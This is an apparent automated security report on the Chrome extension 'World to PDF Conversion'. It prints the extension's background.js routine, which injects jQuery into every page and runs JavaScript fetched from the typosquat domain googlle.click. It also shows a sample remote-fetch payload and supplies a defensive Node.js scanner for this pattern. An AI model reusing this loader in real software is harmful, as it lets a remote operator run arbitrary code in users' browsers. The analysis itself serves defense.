Is World to PDF Conversion safe?
World to PDF Conversion injects code into every page you visit and runs JavaScript sent back by a lookalike domain.
On every completed page load in your active tab, the extension's background service injects jQuery and sends a request to googlle.click, a domain designed to look like Google. If the server returns a new update ID, the extension runs the accompanying JavaScript code directly in that tab. The extension has no PDF conversion functionality of its own; its only user-facing feature is a link to a third-party site, smallpdf.com.
Strong link to a flagged operator: 1 of the 1 other listing from the same operator is rated high or critical for malicious behavior. Flagged: Photoshop Online (critical).
Who publishes itadmin - 1 other listing from the same operator, 1 of them carrying a finding
admin - 1 other listing from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 1k+ users between them. 1 of them carries a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
World to PDF Conversion runs code sent by a typosquat of google.com
Code analysis shows the extension injects jQuery into every site you visit and runs JavaScript returned by googlle.click, a domain mimicking google.com.
The advertised PDF conversion feature exists nowhere in the code.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
You finish loading any website in your active browser tab.
The extension has host permissions for every site, not just PDF-related ones.
The extension injects jQuery into that page, then requests and can run JavaScript returned by a remote server.
The advertised 'World to PDF' conversion tool has no code path anywhere in the extension; the only working control in its popup links out to smallpdf.com.
- Your IP addressPOST https://googlle.click/worldtopdf/worldtopdf.php
The check-in request exposes your device's IP address, like any web request, letting the operator see where it came from.
- A per-device tracking ID{"id": "4471"}
The server's reply includes an id the extension caches, letting the operator recognize your device on later check-ins.
- JavaScript that runs on your page{"javascriptCode": "fetch('https://googlle.click/c')"}
The server's response can include a javascriptCode string, which the extension runs directly in whatever page you currently have open.
The remote code execution path in background.js
// Runs on every completed navigation of the active tab, on any sitechrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => { chrome.storage.local.get(["id"]).then((result) => { run(tabId, changeInfo, tab, result.id); });});function run(tabId, changeInfo, tab, cachedId) { cachedId = cachedId ?? 0; // Only fires once the page has finished loading and is the tab in front if (changeInfo.status !== 'complete' || !tab.active) return; chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => { if (tabs.length === 0) return; // Step 1: inject jQuery into the page you're currently looking at chrome.scripting.executeScript({ target: { tabId: tabs[0].id }, files: ["/assets/js/jquery.min.js"], }).then(() => { // Step 2: run a function, INSIDE that page, that fetches instructions chrome.scripting.executeScript({ target: { tabId: tabs[0].id }, func: (config, cachedId) => { let lastSeenId = ""; $.ajax({ url: config.apiUrl, // https://googlle.click/worldtopdf/worldtopdf.php method: "POST", async: false, dataType: "json", success: (obj) => { // If the server hasn't shown you this id before... if (cachedId != obj.id) { // ...run whatever code it sent, verbatim, in this page setTimeout(obj.javascriptCode, 1); } lastSeenId = obj.id; }, }); return lastSeenId; }, args: [config, cachedId], }).then((response) => { // Step 3: remember this id so the same code isn't sent twice chrome.storage.local.set({ id: response[0].result }); }); }); });}Scans a Chrome extension's unpacked source for the setTimeout(remoteVariable) pattern this extension uses to run server-supplied code, so you can check whether another extension shares the same mechanism.
- Node.js 14+
#!/usr/bin/env node// Walks an unpacked extension directory looking for setTimeout()/setInterval()// calls whose first argument is a variable rather than a function literal or// named function reference. That pattern means whatever string is stored in// the variable gets evaluated as code, and if the variable was assigned from// a network response, that code came from wherever the request went.const fs = require('fs');const path = require('path');const CALL_RE = /\b(setTimeout|setInterval)\s*\(\s*([A-Za-z_$][\w$.]*)\s*,/g;function walk(dir, out) { for (const entry of fs.readdirSync(dir, { withFileTypes: true })) { const full = path.join(dir, entry.name); if (entry.isDirectory()) { walk(full, out); } else if (entry.isFile() && /\.js$/i.test(entry.name)) { const text = fs.readFileSync(full, 'utf8'); let match; while ((match = CALL_RE.exec(text)) !== null) { const line = text.slice(0, match.index).split('\n').length; out.push({ file: full, line, callee: match[1], arg: match[2] }); } } }}const target = process.argv[2];if (!target) { console.error('usage: node detect-remote-eval.js /path/to/unpacked-extension'); process.exit(1);}const hits = [];walk(target, hits);if (hits.length === 0) { console.log('No setTimeout/setInterval calls with a variable first argument found.');} else { console.log(`Found ${hits.length} call(s) worth reviewing by hand:\n`); for (const h of hits) { console.log(`${h.file}:${h.line} ${h.callee}(${h.arg}, ...)`); } console.log('\nA hit here does not by itself prove remote code execution: check'); console.log('where the variable is assigned. If it comes from an HTTP response'); console.log('body (fetch/XHR/$.ajax success handler), the server controls what'); console.log('code runs in the page.');}- 1node detect-remote-eval.js /path/to/unpacked-extension
- googlle.click
Receives the per-page check-in and returns the id/javascriptCode payload. The domain name is a typosquat of google.com (extra 'l'); it is not owned by or affiliated with Google.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed World to PDF Conversion contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- googlle.click
World to PDF Conversion sends data to googlle.click. One other extension we have analyzed sends data here.